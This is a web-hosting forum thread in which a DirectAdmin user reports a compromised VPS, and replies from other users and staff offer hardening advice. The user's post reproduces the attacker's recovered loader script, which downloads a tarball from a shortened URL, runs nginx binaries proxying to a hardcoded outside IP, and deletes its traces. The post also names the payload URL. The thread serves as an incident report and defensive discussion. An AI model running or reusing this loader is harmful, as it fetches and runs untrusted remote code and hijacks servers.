URGENT: DA decided to change apache to nginx on my VPS ???

domu

Verified User
Joined
Jul 22, 2003
Messages
23
Unless I got something wrong DA changed my http server from apache to nginx.
I have been trying to revert it by hand but still have some issues.

1. How can I completly revert back to apache ?

2. How canI lock it up so no changes of that kind would happen ever again ?

3. Why that happened ?
 
That's actually pretty strange and about impossible.

The main reason would be that you set nginx in options.conf in /usr/local/directadmin/custombuild

1 - Set correct options.conf to apache and run ./build apache && ./build rewrite_confs
2 - Dont change options.conf to nginx... it doesnt change by itself
3 - You should check logs, specially /usr/local/directadmin/custombuild/custombuild.log to check if it actually installed nginx

Regards
 
WARNING: Possible attack based on DA interface.

Well, here is a little update.

It turns that was a third party attack on my server. I have just restored
backup last time, but since it happened again - I decided to take a closer
look this time.

I did not have time to dig into it, but as for now, there is a good possibility
that it used some loophole in DA interface. So, maybe it would make sense
if DA team look into it as well.

First indication that something is happening was blank email from root on my
VPS. So, learning from my previous experience I have checked if httpd works
OK. It wasn't. After ssh I found couple of nginx processes running (dead
giveway as I use apache by default):

Code:
admin      404  0.0  0.0   1120    68 ?        Ss   Dec24   0:00 nginx: master process ./nginx_d32 -c nginx.conf
admin      406  0.3  0.0   1700  1040 ?        S    Dec24   8:59 nginx: worker process
admin      407  0.3  0.0   1380   764 ?        S    Dec24   9:36 nginx: worker process
admin      408  0.3  0.0   1380   768 ?        S    Dec24   9:12 nginx: worker process
admin      409  0.3  0.0   1380   760 ?        S    Dec24   9:12 nginx: worker process

Please note that processes originate from admin account.

Next, I found couple of interesting entries in the /tmp folder.

Code:
-rw------- 1 root   root          76 Dec 22 03:21 Nbcgmvsvoe
-rw-rw-r-- 1 admin  admin       2325 Dec 24 16:33 tmpm2C3ee
-rw-r--r-- 1 admin  admin  614019072 Dec 26 16:17 tmpZ12d
-rw-r--r-- 1 admin  admin  205160448 Dec 26 16:17 tmpZ3cf
Content of this first file from Dec/22 resembles somewhat the outcome of probing
attempt with 'mascaraded' output:

Code:
--- 'this is a string'
---
- 1
- 2
- 3
- 4
- 5
---
alpha: beta
gamma: delta

Second file from Dec/24 is probably main loader module, and nicely explains what
actually happened:

Code:
killall nginx
cd /tmp/; wget http://tinyurl.com/ngxml -O nginx.tgz --no-check-certificate &&
tar zxf nginx.tgz
chmod +x nginx_d32 nginx_d64 nginx_r32 nginx_r64
echo "worker_processes 4;
events {
        worker_connections 1024;
}
http {
    default_type application/octet-stream;
    sendfile on;
    tcp_nopush on;
    keepalive_timeout 0;
    tcp_nodelay on;
    server {
        listen 8080;
        server_name _;
        location / {
            proxy_pass http://37.221.168.59:80/;
            proxy_set_header Host \$host;
            proxy_set_header X-Real-IP \$remote_addr;
            proxy_set_header X-Forwarded-For \$remote_addr;
            client_max_body_size    10M;
            client_body_buffer_size 128k;
            proxy_connect_timeout   90;
            proxy_send_timeout      90;
            proxy_read_timeout      90;
            proxy_buffer_size       4k;
            proxy_buffers           4 32k;
            proxy_busy_buffers_size 64k;
            proxy_temp_file_write_size 64k;
        }
    }
}" > nginx.conf
./nginx_d32 -c nginx.conf
./nginx_d64 -c nginx.conf
./nginx_r32 -c nginx.conf
./nginx_r64 -c nginx.conf
rm -rf nginx*
killall nginx
cd ~; wget http://tinyurl.com/ngxml -O nginx.tgz --no-check-certificate &&
tar zxf nginx.tgz
chmod +x nginx_d32 nginx_d64 nginx_r32 nginx_r64
echo "worker_processes 4;
events {
        worker_connections 1024;
}
http {
    default_type application/octet-stream;
    sendfile on;
    tcp_nopush on;
    keepalive_timeout 0;
    tcp_nodelay on;
    server {
        listen 8080;
        server_name _;
        location / {
            proxy_pass http://37.221.168.59:80/;
            proxy_set_header Host \$host;
            proxy_set_header X-Real-IP \$remote_addr;
            proxy_set_header X-Forwarded-For \$remote_addr;
            client_max_body_size    10M;
            client_body_buffer_size 128k;
            proxy_connect_timeout   90;
            proxy_send_timeout      90;
            proxy_read_timeout      90;
            proxy_buffer_size       4k;
            proxy_buffers           4 32k;
            proxy_busy_buffers_size 64k;
            proxy_temp_file_write_size 64k;
        }
    }
}" > nginx.conf
./nginx_d32 -c nginx.conf
./nginx_d64 -c nginx.conf
./nginx_r32 -c nginx.conf
./nginx_r64 -c nginx.conf
rm -rf nginx*

I had no time to look into it, but since proxy_pass IP was hardcoded to
37.221.168.59 I just checked that it belongs to Saulhost Hosting in
Germany with the owner pointing to Riga/Latvia, and have a history of
some malicious activity in the past.

Another link in this script http://tinyurl.com/ngxml fetches another script
with script-kiddy style of obfuscation, which starts from loading bigger 4MB
blob https://www.dropbox.com/s/fhdtvsotz69vobi/nginx.tgz plus some extras.

Did not have time to play with it now, but secured critical files for forensic
examination if needed.

Would really appreciate if DirectAdmin team would check it out to see if
there was any possibility that DA interface was used in this attack.

Thank you.
 
You probably need to re-install your VPS and install web-sites from backups. Or hire somebody to check and secure your sever. Andrea as well as me is available for this kind of job.
 
You probably need to re-install your VPS and install web-sites from backups. Or hire somebody to check and secure your sever. Andrea as well as me is available for this kind of job.

That was one of the first things I did after securing forensic data. My posting
was mainly a heads up for DA team and DA users.

Also note that doing just reinstall from backups without any further action
leaves the server still vulnerable, so I would rather hesitate to recommend
that as a complete solution.
 
Nothing here in your posts shows that Directadmin binaries have vulnerability. That easily can be an issue with bash/apache/php, and/or a vulnerability in sites you run. Do you have sites running on admin account?
 
As Alex already pointed out.

The error's you're posting are apparently related more a site-side/apache/nginx issue and not at all related to DirectAdmin.

Also, i would suggest you to secure your /tmp partition cause i think it is actually also a problem on that side (check the forum to secure /tmp with noexec,nosuid)

Regards
 
Based on the reports, I too agree with zEitEr and SeLLeRone.
I would be highly suspicious of a website running php under admin.

1) WordPress has been quite popular these days for attacks, partly the reason we've added Apache log scanning for the next release due to the fact that clients don't lock it down by default (but the log scanning has to be turned on, it's off by default)
http://www.directadmin.com/features.php?id=1695
It's already in the pre-release section if you want to give it a test drive.

2) Else, I believe mod_security (which Martynas added to CustomBuild 2.0) can also scan Apache requests for the same thing (wp-login.php).. but probably more efficiently than full log parsing, as it actually counts it internally as things go by, without any disk accesses.

3) In any case, if the attacker gets into your php scripts, one thing that can help stop them are the
Code:
./build secure_php
to fill up the disable_functions as best it can.

4) If the php scripts are running as "admin", then there isn't really much stopping it from saving into /home/admin somewhere, outside of /tmp, so although locking it down with noexec,nosuid is recommended, it won't work in all cases.
This is why the disable_functions are so important, so that if something is written to disk, the script cannot run it via the functions in the list.

5) Beyond that, make sure that open_basedir is enabled for all domains... but wouldn't have helped in this case, as /home/admin and /tmp are both allowed locations. They just use /tmp to try and make it hard for you to figure out where it came from.

6) I'm not sure which port they were running nginx on, eg:
Code:
netstat -lnp | grep nginx
but if the firewall is setup, it should only allow incoming ports on the values specified in the firewall... adding yet another layer of protection.

John
 
Back
Top